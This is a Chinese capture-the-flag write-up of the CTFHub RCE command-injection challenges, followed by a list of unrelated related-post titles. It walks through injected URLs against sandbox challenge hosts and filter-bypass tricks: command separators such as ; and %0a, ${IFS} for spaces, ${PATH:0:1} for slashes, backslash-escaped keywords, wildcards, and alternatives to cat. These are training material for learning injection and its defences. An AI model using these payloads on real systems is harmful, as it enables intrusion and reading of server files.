**

CTFHub-RCE-命令注入

**

1.无任何的过滤

一、解题思路
通过输入一些指令,利用某些特定的函数进行的操作,从而达到命令执行攻击的效果。

因为没有任何的过滤,那么我们可以直接使用分号(;)闭合前面的语句,执行ls命令

http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls


通过执行ls命令可以看到,该目下的文件,这是linux环境下

如果是window环境下,使用命令dir查看目录文件


我们使用cat命令读取index.php文件
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php


http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php
那我们也读取137391798722228.php这个文件试试

查看页面源代码,可以得到flag

二、知识点:
1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

**

2.过滤cat

**
一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

直接使用分号(;)代替回车,执行ls命令

可以看到flag_124552338228659.php文件,那么我们可以直接使用cat进行读取

可是回显的是cat被过滤了,那么使用less或more试试

查看页面源代码,可以得到flag

3.过滤空格

直接使用分号(;)代替回车,执行ls命令

可以看到flag_806737515962.php文件,那么我们可以直接使用cat进行读取

可是回显的是空格被过滤了,那么使用<或${IFS}试试

查看页面源代码,可以得到flag

当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

4.过滤目录分隔符

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

我们可以看到,使用逗号分隔符(;)结束前面的命令,成功执行ls命令,发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹呢,ls查看这个文件的内容
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

发现该文件夹中有一个名为flag_252412887014927.php的文件

我直接使用cat f*读取文件,查看页面源代码,得到flag

方法二:

在linux的系统环境变量中${PATH:0:/}代替/
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1}

同样也可以,得到flag_is_here中的文件内容

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here${PATH:0:1}flag_252412887014927.php


查看页面源代码得到flag

5.过滤运算符

直接上手,执行ls命令,发现成功执行
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

接下来,直接使用cat读取文件
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php

查看页面源代码,得到flag

经过测试,过滤了管道符(|),直接使用逗号(;)分隔

方法二
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag_7666637111301.php
使用base64加密这个文件

使用base64在线解密,得到flag

6.综合过滤练习

直接使用逗号分隔(;)进行分隔,执行ls命令,发现逗号(;)被过滤
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试,发现ls命令被成功执行
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als


发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als

发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als

成功读取flag_is_here文件夹下的内容

接下来,直接使用cat读取flag_300121897522180.php文件里的内容

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_300121897522180.php


发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_300121897522180.php


命令执行成功,查看页面源代码得到flag


方法二
使用通配符进行绕过

符号 解释
* 匹配任意长度任意字符
匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符和字符集合
[!list] 同[^list]
{str1,str2,…} 匹配str1或者str2或者更多字符串,也可以是集合
http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0aless${IFS}f*


查看页面源代码,也可以得到flag


如果不想查看页面源代码,也可以使用base64加密flag_318922667817912.php文件

http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0abase64${IFS}f*


然后进行base64解密,即可得到flag

CTF刷题记录CTFHub-RCE-命令注入相关推荐

  1. 【2023.5.3~2023.5.9】CTF刷题记录

    目录 日期:2023.5.3 题目:[GWCTF 2019]pyre 日期:2023.5.4 题目:[ACTF新生赛2020]easyre 题目:DASCTF Apr.2023 X SU战队2023开 ...

  2. CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)

    题目 给出的靶机如下: 解题思路 首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式 (1)手工注入 先随便输入几个值,发现只有在值等于 ...

  3. CTF BugKu平台——Crypto篇刷题记录(后续更新)

    CTF BugKu平台--Crypto篇 前言 抄错的字符: /.- 聪明的小羊: ok: [+-<>]: 把猪困在猪圈里: 你喜欢下棋吗: 小山丘的秘密: EN-气泡: 你以为是md5吗 ...

  4. BUUCTF-2020寒假刷题记录

    BUUCTF-2020寒假刷题记录 Web [RoarCTF 2019]Easy Calc 打开源码,看到calc.php,打开看到源码. 在 num 前面加个空格即可绕过 ? num=phpinfo ...

  5. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  6. CTF刷题网站汇总(包括本地可以自己搭建的)(1)

    CTF刷题网站汇总(包括本地可以自己搭建的) CTF刷题平台汇总(欢迎各位师傅们补充) 第一个当然是CTFshow啦!https://ctf.show/ 攻防世界 https://adworld.xc ...

  7. 攻防世界MISC进阶区刷题记录

    文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...

  8. 攻防世界misc高手进阶区刷题记录

    攻防世界misc高手进阶区刷题记录 easycap 解压出来之后为一个pcap文件,使用wireshark打开 右键追踪TCP数据流即可获得flag flag:385b87afc8671dee0755 ...

  9. 【信息技术刷题记录】 04 Office相关操作及计算机网络知识篇

    刷题记录 Office相关操作及计算机网络知识 写在前面:此系列文章只为参加知识竞赛时的记录 对题目提出一些自己的想法 有啥不对的地方还望谅解和指正 不胜感激 第四次记录 一.Offic相关操作 A. ...

最新文章

  1. JavaScript 事件——“事件类型”中“复合事件”和“变动事件”的注意要点
  2. 前台页面验证中需要注意的一个与VARCHAR2(N BYTE)和VARCHAR2(N CHAR)的小细节
  3. SecureCRT 日志添加时间戳(精确到毫秒)
  4. rog live service是什么_王者荣耀五周年好礼送不停,玩游戏还能白嫖ROG游戏手机3?...
  5. arpanet(阿帕网)
  6. 小学生眼里的飞鸽传书
  7. cassandra 数据量_Cassandra和Spark的数据处理简介
  8. fstream的用法-----------------2012.12.26
  9. Win10 Redstone再添新技能:深度集成App-V应用虚拟化
  10. AcWing 885. 求组合数 I(递推式预处理)
  11. 关于Mybatis的xml配置文件中使用and与or混合查询
  12. php 安卓百度地图,Android百度地图开发总结
  13. 威联通服务器操作系统,QNAP 威联通 453BT3 网络存储服务器 使用手记,Nas中的小钢炮...
  14. C++程序设计(矩形法求定积分)
  15. Log-normal distribution对数正态分布
  16. Android 获取 OAID ,替换 IMEI (兼容 Android 10获取IMEI问题)
  17. 关于html video 在chrome浏览器下无法快进问题解决
  18. 【搬运工】值得一提的生活窍门
  19. spring中涉及到的设计模式
  20. MySQL数据库服务的简单开启和关闭

热门文章

  1. 香港服务器的3c直连网络是什么概念,跟CN2的线路有什么不一样
  2. android:几种常见的Adapter介绍
  3. 智能化助力抗疫新模式“场所码”实现精准防控
  4. Implement a customized pin code input control
  5. java上机实验报告(7)_Java上机实验报告
  6. r+w+无法写入/读取文件:w+和r+的根本区别
  7. 华为交换机配置SSH——实现远程登录调试
  8. 记录篇(2)---- uniapp在项目中的实际问题
  9. Vim插件管理利器——Vundle
  10. 公共基础知识:吴中四士